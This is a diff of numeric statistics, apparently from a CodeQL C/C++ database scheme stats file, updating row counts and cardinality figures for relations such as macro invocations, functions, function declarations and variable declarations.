+ 22423
11
16
- 22136
+ 22142
16
21
- 22445
+ 22451
21
27
- 22866
+ 22872
27
33
- 22473
+ 22479
33
38
- 19751
+ 19757
38
43
- 21294
+ 21300
43
47
- 19948
+ 19953
47
52
- 23034
+ 23040
52
66
- 19667
+ 19672
68
@@ -9192,7 +9181,7 @@
1
2
- 448
+ 449
2
@@ -9420,7 +9409,7 @@
1
2
- 448
+ 449
2
@@ -9496,67 +9485,67 @@
1
5
- 22024
+ 22030
5
9
- 22501
+ 22507
9
15
- 21575
+ 21581
15
23
- 20593
+ 20598
23
32
- 21351
+ 21356
32
44
- 20116
+ 20121
44
60
- 19779
+ 19785
60
80
- 20874
+ 20879
80
103
- 19807
+ 19813
103
130
- 20004
+ 20009
130
159
- 19948
+ 19953
159
193
- 19667
+ 19672
193
296
- 13691
+ 13695
@@ -9572,67 +9561,67 @@
1
2
- 32096
+ 32105
2
3
- 21238
+ 21244
3
4
- 15487
+ 15491
4
6
- 21912
+ 21917
6
8
- 18405
+ 18409
8
11
- 22501
+ 22507
11
15
- 19779
+ 19785
15
20
- 22809
+ 22816
20
26
- 20453
+ 20458
26
33
- 21912
+ 21917
33
40
- 19892
+ 19897
40
49
- 20032
+ 20037
49
61
- 5414
+ 5416
@@ -9648,27 +9637,27 @@
1
2
- 130238
+ 130273
2
3
- 68205
+ 68223
3
4
- 40148
+ 40159
4
6
- 21379
+ 21384
6
11
- 1963
+ 1964
@@ -9684,62 +9673,62 @@
1
4
- 21603
+ 21609
4
7
- 23820
+ 23826
7
11
- 22501
+ 22507
11
16
- 23679
+ 23686
16
21
- 23623
+ 23629
21
26
- 20677
+ 20683
26
31
- 22276
+ 22282
31
36
- 24072
+ 24078
36
40
- 20874
+ 20879
40
44
- 22585
+ 22591
44
49
- 23146
+ 23152
49
63
- 13074
+ 13077
@@ -9755,62 +9744,62 @@
1
4
- 23455
+ 23461
4
7
- 22922
+ 22928
7
11
- 22417
+ 22423
11
16
- 23034
+ 23040
16
21
- 21856
+ 21861
21
26
- 19807
+ 19813
26
32
- 22052
+ 22058
32
38
- 23876
+ 23882
38
43
- 22108
+ 22114
43
47
- 19779
+ 19785
47
52
- 22753
+ 22759
52
69
- 17872
+ 17876
@@ -9902,7 +9891,7 @@
1
2
- 448
+ 449
2
@@ -10195,23 +10184,23 @@
numlines
- 860994
+ 806371
element_id
- 859648
+ 805249
num_lines
- 40096
+ 39371
num_code
- 35925
+ 33889
num_comment
- 18029
+ 18315
@@ -10225,12 +10214,12 @@
1
2
- 858303
+ 804128
2
3
- 1345
+ 1121
@@ -10246,12 +10235,12 @@
1
2
- 858303
+ 804128
2
3
- 1345
+ 1121
@@ -10267,12 +10256,12 @@
1
2
- 859379
+ 805000
2
3
- 269
+ 249
@@ -10288,27 +10277,27 @@
1
2
- 26910
+ 26663
2
3
- 4709
+ 3737
3
- 6
- 3229
+ 5
+ 3364
- 6
- 60
- 3229
+ 5
+ 37
+ 3114
- 60
- 2025
- 2018
+ 41
+ 1978
+ 2491
@@ -10324,27 +10313,27 @@
1
2
- 27179
+ 27161
2
3
- 5112
+ 4111
3
- 5
- 3363
+ 4
+ 2491
- 5
- 8
- 3363
+ 4
+ 7
+ 3488
- 8
+ 7
12
- 1076
+ 2118
@@ -10360,32 +10349,27 @@
1
2
- 27044
+ 26787
2
3
- 4978
+ 4111
3
4
- 1614
+ 2491
4
6
- 3229
+ 3114
6
- 10
- 3094
-
-
- 10
11
- 134
+ 2865
@@ -10401,27 +10385,32 @@
1
2
- 23815
+ 21554
2
3
- 4440
+ 3737
3
- 8
- 3094
+ 4
+ 2367
- 8
- 86
- 2825
+ 4
+ 13
+ 2865
- 86
- 2136
- 1749
+ 14
+ 197
+ 2616
+
+
+ 205
+ 2101
+ 747
@@ -10437,27 +10426,32 @@
1
2
- 24084
+ 21928
2
3
- 4305
+ 3737
3
- 5
- 2556
+ 4
+ 2118
- 5
- 8
- 2691
+ 4
+ 6
+ 1868
- 8
- 12
- 2287
+ 6
+ 9
+ 2741
+
+
+ 9
+ 13
+ 1495
@@ -10473,27 +10467,27 @@
1
2
- 23950
+ 21679
2
3
- 4574
+ 4360
3
5
- 2556
+ 2865
5
8
- 3094
+ 3114
8
- 11
- 1749
+ 12
+ 1868
@@ -10509,32 +10503,32 @@
1
2
- 10629
+ 11338
2
3
- 1883
+ 1744
3
4
- 1480
+ 1495
4
- 6
- 1614
+ 7
+ 1370
8
22
- 1480
+ 1495
- 32
- 3872
- 941
+ 42
+ 3650
+ 872
@@ -10550,32 +10544,32 @@
1
2
- 10629
+ 11338
2
3
- 1883
+ 1744
3
4
- 1480
+ 1495
4
- 6
- 1614
+ 7
+ 1495
- 6
- 19
- 1480
+ 8
+ 27
+ 1495
- 24
- 46
- 941
+ 30
+ 48
+ 747
@@ -10591,32 +10585,32 @@
1
2
- 10629
+ 11338
2
3
- 1883
+ 1744
3
4
- 1480
+ 1744
4
- 6
- 1614
+ 9
+ 1495
- 6
- 20
- 1480
+ 10
+ 36
+ 1619
- 20
+ 36
43
- 941
+ 373
@@ -10626,11 +10620,11 @@
diagnostics
- 1590
+ 1588
id
- 1590
+ 1588
severity
@@ -10664,7 +10658,7 @@
1
2
- 1590
+ 1588
@@ -10680,7 +10674,7 @@
1
2
- 1590
+ 1588
@@ -10696,7 +10690,7 @@
1
2
- 1590
+ 1588
@@ -10712,7 +10706,7 @@
1
2
- 1590
+ 1588
@@ -10728,7 +10722,7 @@
1
2
- 1590
+ 1588
@@ -11183,15 +11177,15 @@
files
- 83605
+ 81416
id
- 83605
+ 81416
name
- 83605
+ 81416
@@ -11205,7 +11199,7 @@
1
2
- 83605
+ 81416
@@ -11221,7 +11215,7 @@
1
2
- 83605
+ 81416
@@ -11231,15 +11225,15 @@
folders
- 15884
+ 15468
id
- 15884
+ 15468
name
- 15884
+ 15468
@@ -11253,7 +11247,7 @@
1
2
- 15884
+ 15468
@@ -11269,7 +11263,7 @@
1
2
- 15884
+ 15468
@@ -11279,15 +11273,15 @@
containerparent
- 99462
+ 96859
parent
- 15884
+ 15468
child
- 99462
+ 96859
@@ -11301,42 +11295,42 @@
1
2
- 7732
+ 7529
2
3
- 1949
+ 1898
3
4
- 853
+ 830
4
6
- 1286
+ 1252
6
10
- 1245
+ 1213
10
16
- 1286
+ 1252
16
44
- 1191
+ 1160
44
151
- 338
+ 329
@@ -11352,7 +11346,7 @@
1
2
- 99462
+ 96859
@@ -11362,23 +11356,23 @@
fileannotations
- 5385298
+ 5244314
id
- 7393
+ 7200
kind
- 27
+ 26
name
- 75277
+ 73306
value
- 50659
+ 49332
@@ -11392,12 +11386,12 @@
1
2
- 257
+ 250
2
3
- 7136
+ 6949
@@ -11413,62 +11407,62 @@
1
86
- 555
+ 540
88
206
- 555
+ 540
212
291
- 568
+ 553
291
359
- 555
+ 540
362
401
- 555
+ 540
402
479
- 555
+ 540
480
549
- 324
+ 316
550
551
- 1706
+ 1661
553
628
- 555
+ 540
631
753
- 582
+ 567
753
1231
- 568
+ 553
1234
2155
- 311
+ 303
@@ -11484,67 +11478,67 @@
1
98
- 555
+ 540
102
244
- 555
+ 540
244
351
- 555
+ 540
352
434
- 568
+ 553
434
490
- 568
+ 553
490
628
- 555
+ 540
632
702
- 81
+ 79
706
707
- 1706
+ 1661
710
939
- 555
+ 540
939
1038
- 555
+ 540
1066
1853
- 555
+ 540
1853
3292
- 555
+ 540
3423
3742
- 27
+ 26
@@ -11623,62 +11617,62 @@
1
2
- 14137
+ 13767
2
3
- 5592
+ 5446
3
5
- 6486
+ 6316
5
7
- 5254
+ 5116
7
9
- 5890
+ 5736
9
16
- 5552
+ 5406
16
19
- 6269
+ 6105
19
27
- 5457
+ 5314
27
47
- 6202
+ 6039
47
128
- 6310
+ 6145
128
459
- 5931
+ 5775
459
546
- 2193
+ 2136
@@ -11694,7 +11688,7 @@
1
2
- 75277
+ 73306
@@ -11710,57 +11704,57 @@
1
2
- 14855
+ 14466
2
3
- 9858
+ 9600
3
4
- 5254
+ 5116
4
6
- 5213
+ 5077
6
8
- 4387
+ 4272
8
11
- 6080
+ 5920
11
17
- 6919
+ 6738
17
23
- 6026
+ 5868
23
41
- 5998
+ 5841
41
95
- 5728
+ 5578
95
1726
- 4956
+ 4826
@@ -11776,72 +11770,72 @@
1
2
- 4306
+ 4193
2
4
- 2098
+ 2043
4
5
- 4089
+ 3982
5
8
- 3155
+ 3072
8
14
- 3805
+ 3705
14
17
- 2478
+ 2413
17
24
- 3899
+ 3797
24
51
- 4536
+ 4417
51
58
- 3886
+ 3784
58
80
- 3818
+ 3718
81
151
- 3954
+ 3850
151
334
- 3818
+ 3718
334
473
- 3845
+ 3745
473
547
- 2965
+ 2887
@@ -11857,7 +11851,7 @@
1
2
- 50645
+ 49319
2
@@ -11878,72 +11872,72 @@
1
2
- 4360
+ 4246
2
4
- 2451
+ 2386
4
5
- 3913
+ 3811
5
8
- 3182
+ 3098
8
14
- 4468
+ 4351
14
18
- 4428
+ 4312
18
28
- 4103
+ 3995
28
34
- 4035
+ 3929
34
41
- 4103
+ 3995
41
66
- 3832
+ 3731
66
92
- 3940
+ 3837
92
113
- 3832
+ 3731
113
145
- 3886
+ 3784
145
172
- 121
+ 118
@@ -11953,15 +11947,15 @@
inmacroexpansion
- 149563577
+ 149602958
id
- 24598516
+ 24604993
inv
- 3693134
+ 3694107
@@ -11975,37 +11969,37 @@
1
3
- 2201563
+ 2202143
3
5
- 1470740
+ 1471128
5
6
- 1615714
+ 1616140
6
7
- 6563635
+ 6565364
7
8
- 8693954
+ 8696243
8
9
- 3546830
+ 3547764
9
22
- 506076
+ 506210
@@ -12021,57 +12015,57 @@
1
2
- 528641
+ 528780
2
3
- 741073
+ 741268
3
4
- 480129
+ 480255
4
7
- 274512
+ 274584
7
8
- 281342
+ 281416
8
9
- 329298
+ 329385
9
10
- 3037
+ 3038
10
11
- 443373
+ 443489
11
337
- 306914
+ 306995
339
423
- 280946
+ 281020
423
7616
- 23866
+ 23872
@@ -12081,15 +12075,15 @@
affectedbymacroexpansion
- 48595837
+ 48608633
id
- 7024503
+ 7026352
inv
- 3792196
+ 3793195
@@ -12103,37 +12097,37 @@
1
2
- 3835659
+ 3836669
2
3
- 764103
+ 764304
3
4
- 360802
+ 360897
4
5
- 770516
+ 770719
5
12
- 533623
+ 533763
12
50
- 554669
+ 554815
50
9900
- 205128
+ 205182
@@ -12149,67 +12143,67 @@
1
4
- 312348
+ 312431
4
7
- 315698
+ 315781
7
9
- 300223
+ 300302
9
12
- 341953
+ 342043
12
13
- 454694
+ 454814
13
14
- 225450
+ 225509
14
15
- 406866
+ 406973
15
16
- 165950
+ 165994
16
17
- 376592
+ 376692
17
18
- 200060
+ 200113
18
20
- 343266
+ 343357
20
25
- 284573
+ 284648
25
207
- 64516
+ 64533
@@ -12219,23 +12213,23 @@
macroinvocations
- 40584859
+ 39527898
id
- 40584859
+ 39527898
macro_id
- 109862
+ 106973
location
- 1069663
+ 1041646
kind
- 27
+ 26
@@ -12249,7 +12243,7 @@
1
2
- 40584859
+ 39527898
@@ -12265,7 +12259,7 @@
1
2
- 40584859
+ 39527898
@@ -12281,7 +12275,7 @@
1
2
- 40584859
+ 39527898
@@ -12297,52 +12291,52 @@
1
2
- 23508
+ 22721
2
3
- 20420
+ 20017
3
4
- 7488
+ 7318
4
6
- 10102
+ 9797
6
11
- 9452
+ 9204
11
21
- 9181
+ 8848
21
48
- 8246
+ 8149
48
145
- 8300
+ 8096
145
- 952
- 8246
+ 955
+ 8030
- 954
- 175299
- 4915
+ 955
+ 175302
+ 4786
@@ -12358,37 +12352,37 @@
1
2
- 60232
+ 58642
2
3
- 13636
+ 13279
3
4
- 6879
+ 6699
4
6
- 8720
+ 8492
6
13
- 9438
+ 9191
13
67
- 8287
+ 8070
67
4815
- 2667
+ 2597
@@ -12404,12 +12398,12 @@
1
2
- 101412
+ 98744
2
3
- 8449
+ 8228
@@ -12425,37 +12419,37 @@
1
2
- 426438
+ 414918
2
3
- 252604
+ 246136
3
4
- 113153
+ 110296
4
6
- 77471
+ 75495
6
11
- 82725
+ 79966
11
- 42
- 80423
+ 41
+ 78594
- 42
- 226288
- 36846
+ 41
+ 226300
+ 36238
@@ -12471,12 +12465,12 @@
1
2
- 1009240
+ 982806
2
367
- 60422
+ 58840
@@ -12492,7 +12486,7 @@
1
2
- 1069663
+ 1041646
@@ -12506,13 +12500,13 @@
12
- 22299
- 22300
+ 22298
+ 22299
13
- 2974755
- 2974756
+ 2975175
+ 2975176
13
@@ -12527,8 +12521,8 @@
12
- 2369
- 2370
+ 2368
+ 2369
13
@@ -12548,8 +12542,8 @@
12
- 7696
- 7697
+ 7695
+ 7696
13
@@ -12565,15 +12559,15 @@
macroparent
- 35796528
+ 34858909
id
- 35796528
+ 34858909
parent_id
- 28048724
+ 27313925
@@ -12587,7 +12581,7 @@
1
2
- 35796528
+ 34858909
@@ -12603,17 +12597,17 @@
1
2
- 21849156
+ 21276645
2
3
- 5172181
+ 5036789
3
91
- 1027386
+ 1000490
@@ -12623,15 +12617,15 @@
macrolocationbind
- 5543165
+ 5544605
id
- 3881794
+ 3882778
location
- 2758367
+ 2759100
@@ -12645,22 +12639,22 @@
1
2
- 3056516
+ 3057283
2
3
- 469825
+ 469944
3
7
- 314905
+ 314994
7
57
- 40546
+ 40556
@@ -12676,22 +12670,22 @@
1
2
- 2198082
+ 2198673
2
3
- 239987
+ 240048
3
8
- 216556
+ 216611
8
723
- 103740
+ 103767
@@ -12701,19 +12695,19 @@
macro_argument_unexpanded
- 103210542
+ 100507131
invocation
- 31213446
+ 30398157
argument_index
- 893
+ 870
text
- 440087
+ 428566
@@ -12727,22 +12721,22 @@
1
2
- 9975421
+ 9719757
2
3
- 12500006
+ 12168847
3
4
- 6392927
+ 6225802
4
67
- 2345090
+ 2283750
@@ -12758,22 +12752,22 @@
1
2
- 10209569
+ 9947774
2
3
- 12521496
+ 12189775
3
4
- 6193094
+ 6031187
4
67
- 2289286
+ 2229419
@@ -12789,17 +12783,17 @@
46457
46458
- 785
+ 764
46659
- 173178
- 67
+ 173182
+ 65
- 645273
- 2305008
- 40
+ 645295
+ 2305149
+ 39
@@ -12815,17 +12809,17 @@
2
3
- 785
+ 764
13
1115
- 67
+ 65
7702
22873
- 40
+ 39
@@ -12841,57 +12835,57 @@
1
2
- 51999
+ 50559
2
3
- 79963
+ 77882
3
4
- 29669
+ 28879
4
5
- 44429
+ 43319
5
6
- 50198
+ 48844
6
9
- 36575
+ 35684
9
15
- 36833
+ 35829
15
27
- 33501
+ 32651
27
57
- 34111
+ 33205
57
517
- 33231
+ 32374
518
- 485091
- 9573
+ 485092
+ 9336
@@ -12907,17 +12901,17 @@
1
2
- 311767
+ 303606
2
3
- 115225
+ 112208
3
9
- 13094
+ 12751
@@ -12927,19 +12921,19 @@
macro_argument_expanded
- 103210542
+ 100507131
invocation
- 31213446
+ 30398157
argument_index
- 893
+ 870
text
- 266579
+ 259600
@@ -12953,22 +12947,22 @@
1
2
- 9975421
+ 9719757
2
3
- 12500006
+ 12168847
3
4
- 6392927
+ 6225802
4
67
- 2345090
+ 2283750
@@ -12984,22 +12978,22 @@
1
2
- 13757545
+ 13402907
2
3
- 10785384
+ 10499073
3
4
- 5401805
+ 5260613
4
9
- 1268711
+ 1235562
@@ -13015,17 +13009,17 @@
46457
46458
- 785
+ 764
46659
- 173178
- 67
+ 173182
+ 65
- 645273
- 2305008
- 40
+ 645295
+ 2305149
+ 39
@@ -13041,17 +13035,17 @@
1
2
- 771
+ 751
2
96
- 67
+ 65
950
16176
- 54
+ 52
@@ -13067,57 +13061,57 @@
1
2
- 28288
+ 27534
2
3
- 35140
+ 34167
3
4
- 58486
+ 56941
4
5
- 20556
+ 20070
5
6
- 3994
+ 3863
6
7
- 23305
+ 22734
7
10
- 21761
+ 21112
10
19
- 22939
+ 22444
19
51
- 20068
+ 19477
51
253
- 20082
+ 19622
254
- 990266
- 11957
+ 990275
+ 11630
@@ -13133,17 +13127,17 @@
1
2
- 134725
+ 131198
2
3
- 113993
+ 111008
3
66
- 17861
+ 17393
@@ -13153,19 +13147,19 @@
functions
- 3352272
+ 4000084
id
- 3352272
+ 4000084
name
- 466018
+ 1644139
kind
- 343
+ 996
@@ -13179,7 +13173,7 @@
1
2
- 3352272
+ 4000084
@@ -13195,7 +13189,7 @@
1
2
- 3352272
+ 4000084
@@ -13211,22 +13205,17 @@
1
2
- 372188
+ 1398565
2
- 3
- 31791
+ 4
+ 138797
- 3
- 9
- 35996
-
-
- 9
- 4916
- 26042
+ 4
+ 3162
+ 106776
@@ -13242,12 +13231,12 @@
1
2
- 464774
+ 1641274
2
- 4
- 1244
+ 3
+ 2865
@@ -13261,44 +13250,44 @@
12
- 24
- 25
- 42
+ 8
+ 9
+ 124
- 73
- 74
- 42
+ 13
+ 14
+ 124
- 94
- 95
- 42
+ 47
+ 48
+ 124
- 260
- 261
- 42
+ 83
+ 84
+ 124
- 2421
- 2422
- 42
+ 690
+ 691
+ 124
- 8450
- 8451
- 42
+ 4450
+ 4451
+ 124
- 20508
- 20509
- 42
+ 5230
+ 5231
+ 124
- 46305
- 46306
- 42
+ 21584
+ 21585
+ 124
@@ -13312,44 +13301,44 @@
12
- 7
- 8
- 42
+ 2
+ 3
+ 124
- 24
- 25
- 42
+ 13
+ 14
+ 124
- 40
- 41
- 42
+ 18
+ 19
+ 124
- 57
- 58
- 42
+ 41
+ 42
+ 124
- 94
- 95
- 42
+ 43
+ 44
+ 124
- 460
- 461
- 42
+ 302
+ 303
+ 124
- 631
- 632
- 42
+ 504
+ 505
+ 124
- 9580
- 9581
- 42
+ 12296
+ 12297
+ 124
@@ -13359,15 +13348,15 @@
function_entry_point
- 1436670
+ 1430682
id
- 1431950
+ 1425982
entry_point
- 1436670
+ 1430682
@@ -13381,12 +13370,12 @@
1
2
- 1427917
+ 1421966
2
17
- 4032
+ 4016
@@ -13402,7 +13391,7 @@
1
2
- 1436670
+ 1430682
@@ -13412,15 +13401,15 @@
function_return_type
- 3358579
+ 4017527
id
- 3352272
+ 4000084
return_type
- 630940
+ 621224
@@ -13434,12 +13423,12 @@
1
2
- 3346480
+ 3982641
2
- 5
- 5791
+ 3
+ 17443
@@ -13455,22 +13444,27 @@
1
2
- 436372
+ 312107
2
3
- 120258
+ 212930
3
- 6
- 51999
+ 5
+ 48342
- 6
- 36283
- 22309
+ 5
+ 354
+ 46598
+
+
+ 358
+ 9897
+ 1245
@@ -13750,59 +13744,59 @@
purefunctions
- 137889
+ 138354
id
- 137889
+ 138354
function_deleted
- 94386
+ 94264
id
- 94386
+ 94264
function_defaulted
- 55377
+ 55306
id
- 55377
+ 55306
function_prototyped
- 3348154
+ 3998589
id
- 3348154
+ 3998589
deduction_guide_for_class
- 6323
+ 5855
id
- 6323
+ 5855
class_template
- 2421
+ 2242
@@ -13816,7 +13810,7 @@
1
2
- 6323
+ 5855
@@ -13832,32 +13826,32 @@
1
2
- 1210
+ 1121
2
3
- 403
+ 373
3
4
- 134
+ 124
4
5
- 269
+ 249
5
6
- 134
+ 124
8
9
- 269
+ 249
@@ -13867,15 +13861,15 @@
member_function_this_type
- 673500
+ 840353
id
- 673500
+ 840353
this_type
- 233223
+ 239686
@@ -13889,7 +13883,7 @@
1
2
- 673500
+ 840353
@@ -13905,32 +13899,37 @@
1
2
- 82718
+ 73657
2
3
- 61051
+ 70154
3
4
- 36468
+ 33709
4
5
- 16904
+ 15380
5
7
- 19177
+ 21832
7
- 66
- 16904
+ 13
+ 18884
+
+
+ 13
+ 530
+ 6066
@@ -13940,27 +13939,27 @@
fun_decls
- 3388097
+ 4144613
id
- 3384193
+ 4138632
function
- 3227852
+ 3975663
type_id
- 599963
+ 613250
name
- 461385
+ 1642644
location
- 931093
+ 2762493
@@ -13974,7 +13973,7 @@
1
2
- 3384193
+ 4138632
@@ -13990,12 +13989,12 @@
1
2
- 3380803
+ 4132652
2
- 5
- 3389
+ 3
+ 5980
@@ -14011,7 +14010,7 @@
1
2
- 3384193
+ 4138632
@@ -14027,7 +14026,7 @@
1
2
- 3384193
+ 4138632
@@ -14043,375 +14042,360 @@
1
2
- 3097640
-
-
- 2
- 7
- 130212
-
-
-
-
-
-
- function
- type_id
-
-
- 12
-
-
- 1
- 2
- 3217512
-
-
- 2
- 5
- 10339
-
-
-
-
-
-
- function
- name
-
-
- 12
-
-
- 1
- 2
- 3227852
-
-
-
-
-
-
- function
- location
-
-
- 12
-
-
- 1
- 2
- 3142645
-
-
- 2
- 6
- 85206
-
-
-
-
-
-
- type_id
- id
-
-
- 12
-
-
- 1
- 2
- 396515
-
-
- 2
- 3
- 127080
-
-
- 3
- 6
- 53286
-
-
- 6
- 37538
- 23082
-
-
-
-
-
-
- type_id
- function
-
-
- 12
-
-
- 1
- 2
- 414834
-
-
- 2
- 3
- 112579
-
-
- 3
- 6
- 52213
-
-
- 6
- 35946
- 20336
-
-
-
-
-
-
- type_id
- name
-
-
- 12
-
-
- 1
- 2
- 471982
-
-
- 2
- 3
- 73322
-
-
- 3
- 7
- 45091
-
-
- 7
- 3213
- 9567
-
-
-
-
-
-
- type_id
- location
-
-
- 12
-
-
- 1
- 2
- 440705
-
-
- 2
- 3
- 90097
-
-
- 3
- 6
- 51312
-
-
- 6
- 7079
- 17847
-
-
-
-
-
-
- name
- id
-
-
- 12
-
-
- 1
- 2
- 347175
-
-
- 2
- 3
- 37926
-
-
- 3
- 6
- 37540
-
-
- 6
- 110
- 34709
-
-
- 110
- 4996
- 4032
-
-
-
-
-
-
- name
- function
-
-
- 12
-
-
- 1
- 2
- 368842
-
-
- 2
- 3
- 32006
-
-
- 3
- 9
- 35567
-
-
- 9
- 4900
- 24969
-
-
-
-
-
-
- name
- type_id
-
-
- 12
-
-
- 1
- 2
- 426933
-
-
- 2
- 3435
- 34451
-
-
-
-
-
-
- name
- location
-
-
- 12
-
-
- 1
- 2
- 355027
-
-
- 2
- 3
- 50669
-
-
- 3
- 6
- 35738
-
-
- 6
- 1706
- 19950
-
-
-
-
-
-
- location
- id
-
-
- 12
-
-
- 1
- 2
- 735882
-
-
- 2
- 3
- 90140
-
-
- 3
- 13
- 70533
-
-
- 13
- 1516
- 34537
-
-
-
-
-
-
- location
- function
-
-
- 12
-
-
- 1
- 2
- 776726
+ 3826026
2
4
- 73150
+ 149637
+
+
+
+
+
+
+ function
+ type_id
+
+
+ 12
+
+
+ 1
+ 2
+ 3957223
+
+
+ 2
+ 3
+ 18439
+
+
+
+
+
+
+ function
+ name
+
+
+ 12
+
+
+ 1
+ 2
+ 3975663
+
+
+
+
+
+
+ function
+ location
+
+
+ 12
+
+
+ 1
+ 2
+ 3832754
+
+
+ 2
+ 4
+ 142909
+
+
+
+
+
+
+ type_id
+ id
+
+
+ 12
+
+
+ 1
+ 2
+ 297405
+
+
+ 2
+ 3
+ 219783
+
+
+ 3
+ 5
+ 48716
+
+
+ 5
+ 354
+ 46099
+
+
+ 358
+ 10246
+ 1245
+
+
+
+
+
+
+ type_id
+ function
+
+
+ 12
+
+
+ 1
+ 2
+ 307497
+
+
+ 2
+ 3
+ 211061
+
+
+ 3
+ 5
+ 48342
+
+
+ 5
+ 1033
+ 46099
+
+
+ 1483
+ 9847
+ 249
+
+
+
+
+
+
+ type_id
+ name
+
+
+ 12
+
+
+ 1
+ 2
+ 493266
+
+
+ 2
+ 3
+ 52578
+
+
+ 3
+ 7
+ 50958
+
+
+ 7
+ 2211
+ 16446
+
+
+
+
+
+
+ type_id
+ location
+
+
+ 12
+
+
+ 1
+ 2
+ 456760
+
+
+ 2
+ 3
+ 69274
+
+
+ 3
+ 6
+ 55693
+
+
+ 6
+ 4728
+ 31522
+
+
+
+
+
+
+ name
+ id
+
+
+ 12
+
+
+ 1
+ 2
+ 1294280
+
+
+ 2
+ 3
+ 183402
+
+
+ 3
+ 10
+ 125216
+
+
+ 10
+ 3169
+ 39745
+
+
+
+
+
+
+ name
+ function
+
+
+ 12
+
+
+ 1
+ 2
+ 1398067
+
+
+ 2
+ 4
+ 139171
4
- 66
- 70919
+ 3162
+ 105406
+
+
+
+
+
+
+ name
+ type_id
+
+
+ 12
+
+
+ 1
+ 2
+ 1552812
- 66
- 1516
- 10296
+ 2
+ 1596
+ 89832
+
+
+
+
+
+
+ name
+ location
+
+
+ 12
+
+
+ 1
+ 2
+ 1318576
+
+
+ 2
+ 3
+ 207947
+
+
+ 3
+ 1592
+ 116121
+
+
+
+
+
+
+ location
+ id
+
+
+ 12
+
+
+ 1
+ 2
+ 2383728
+
+
+ 2
+ 3
+ 237102
+
+
+ 3
+ 211
+ 141663
+
+
+
+
+
+
+ location
+ function
+
+
+ 12
+
+
+ 1
+ 2
+ 2387466
+
+
+ 2
+ 3
+ 233862
+
+
+ 3
+ 211
+ 141164
@@ -14427,17 +14411,12 @@
1
2
- 853223
+ 2647493
2
- 19
- 70190
-
-
- 19
- 1509
- 7679
+ 211
+ 115000
@@ -14453,12 +14432,12 @@
1
2
- 883556
+ 2723371
2
- 10
- 47537
+ 8
+ 39122
@@ -14468,48 +14447,48 @@
fun_def
- 1590007
+ 1583380
id
- 1590007
+ 1583380
fun_specialized
- 8499
+ 8413
id
- 8499
+ 8413
fun_implicit
- 273
+ 271
id
- 273
+ 271
fun_decl_specifiers
- 2464627
+ 4091286
id
- 1197795
+ 1683760
name
- 327
+ 1370
@@ -14523,22 +14502,22 @@
1
2
- 267566
+ 360574
2
3
- 596795
+ 261771
3
4
- 330266
+ 1038489
4
5
- 3167
+ 22925
@@ -14552,34 +14531,59 @@
12
- 753
- 754
- 54
+ 15
+ 16
+ 124
- 2861
- 2862
- 54
+ 19
+ 20
+ 124
- 6284
- 6285
- 54
+ 224
+ 225
+ 124
- 6559
- 6560
- 54
+ 261
+ 262
+ 124
- 6738
- 6739
- 54
+ 546
+ 547
+ 124
- 21931
- 21932
- 54
+ 826
+ 827
+ 124
+
+
+ 1032
+ 1033
+ 124
+
+
+ 1089
+ 1090
+ 124
+
+
+ 7668
+ 7669
+ 124
+
+
+ 10543
+ 10544
+ 124
+
+
+ 10614
+ 10615
+ 124
@@ -14710,26 +14714,26 @@
fun_decl_empty_throws
- 435248
+ 435875
fun_decl
- 435248
+ 435875
fun_decl_noexcept
- 178607
+ 177863
fun_decl
- 178607
+ 177863
constant
- 178007
+ 177265
@@ -14743,7 +14747,7 @@
1
2
- 178607
+ 177863
@@ -14759,12 +14763,12 @@
1
2
- 177449
+ 176709
2
4
- 557
+ 555
@@ -14774,26 +14778,26 @@
fun_decl_empty_noexcept
- 1063897
+ 1160715
fun_decl
- 1063897
+ 1160715
fun_decl_typedef_type
- 2798
+ 2769
fun_decl
- 2798
+ 2769
typedeftype_id
- 125
+ 124
@@ -14807,7 +14811,7 @@
1
2
- 2798
+ 2769
@@ -14883,11 +14887,11 @@
fun_requires
- 31193
+ 31152
id
- 10835
+ 10821
kind
@@ -14895,7 +14899,7 @@
constraint
- 30939
+ 30899
@@ -14909,7 +14913,7 @@
1
2
- 10766
+ 10752
2
@@ -14930,17 +14934,17 @@
1
2
- 7792
+ 7782
2
3
- 530
+ 529
3
6
- 922
+ 920
6
@@ -14950,7 +14954,7 @@
13
14
- 1221
+ 1220
19
@@ -15013,7 +15017,7 @@
1
2
- 30685
+ 30645
2
@@ -15034,7 +15038,7 @@
1
2
- 30939
+ 30899
@@ -15044,19 +15048,19 @@
param_decl_bind
- 4864195
+ 7170747
id
- 4864195
+ 7170747
index
- 858
+ 7974
fun_decl
- 2661010
+ 3468816
@@ -15070,7 +15074,7 @@
1
2
- 4864195
+ 7170747
@@ -15086,7 +15090,7 @@
1
2
- 4864195
+ 7170747
@@ -15100,74 +15104,34 @@
12
- 1
- 2
- 300
+ 2
+ 3
+ 3987
- 3
- 4
- 42
+ 6
+ 7
+ 1993
- 5
- 6
- 42
+ 16
+ 20
+ 622
- 7
- 8
- 42
+ 25
+ 143
+ 622
- 17
- 18
- 42
+ 332
+ 15841
+ 622
- 39
- 40
- 42
-
-
- 94
- 95
- 42
-
-
- 318
- 319
- 42
-
-
- 636
- 637
- 42
-
-
- 1415
- 1416
- 42
-
-
- 4122
- 4123
- 42
-
-
- 14573
- 14574
- 42
-
-
- 30116
- 30117
- 42
-
-
- 62023
- 62024
- 42
+ 27841
+ 27842
+ 124
@@ -15181,74 +15145,34 @@
12
- 1
- 2
- 300
+ 2
+ 3
+ 3987
- 3
- 4
- 42
+ 6
+ 7
+ 1993
- 5
- 6
- 42
+ 16
+ 20
+ 622
- 7
- 8
- 42
+ 25
+ 143
+ 622
- 17
- 18
- 42
+ 332
+ 15841
+ 622
- 39
- 40
- 42
-
-
- 94
- 95
- 42
-
-
- 318
- 319
- 42
-
-
- 636
- 637
- 42
-
-
- 1415
- 1416
- 42
-
-
- 4122
- 4123
- 42
-
-
- 14573
- 14574
- 42
-
-
- 30116
- 30117
- 42
-
-
- 62023
- 62024
- 42
+ 27841
+ 27842
+ 124
@@ -15264,22 +15188,27 @@
1
2
- 1368925
+ 1495250
2
3
- 666850
+ 954263
3
4
- 448385
+ 578364
4
- 21
- 176848
+ 5
+ 282329
+
+
+ 5
+ 65
+ 158607
@@ -15295,22 +15224,27 @@
1
2
- 1368925
+ 1495250
2
3
- 666850
+ 954263
3
4
- 448385
+ 578364
4
- 21
- 176848
+ 5
+ 282329
+
+
+ 5
+ 65
+ 158607
@@ -15320,27 +15254,27 @@
var_decls
- 6739140
+ 9244736
id
- 6734162
+ 9237883
variable
- 6565972
+ 8948452
type_id
- 1513164
+ 1458495
name
- 829105
+ 850103
location
- 3605573
+ 6187951
@@ -15354,7 +15288,7 @@
1
2
- 6734162
+ 9237883
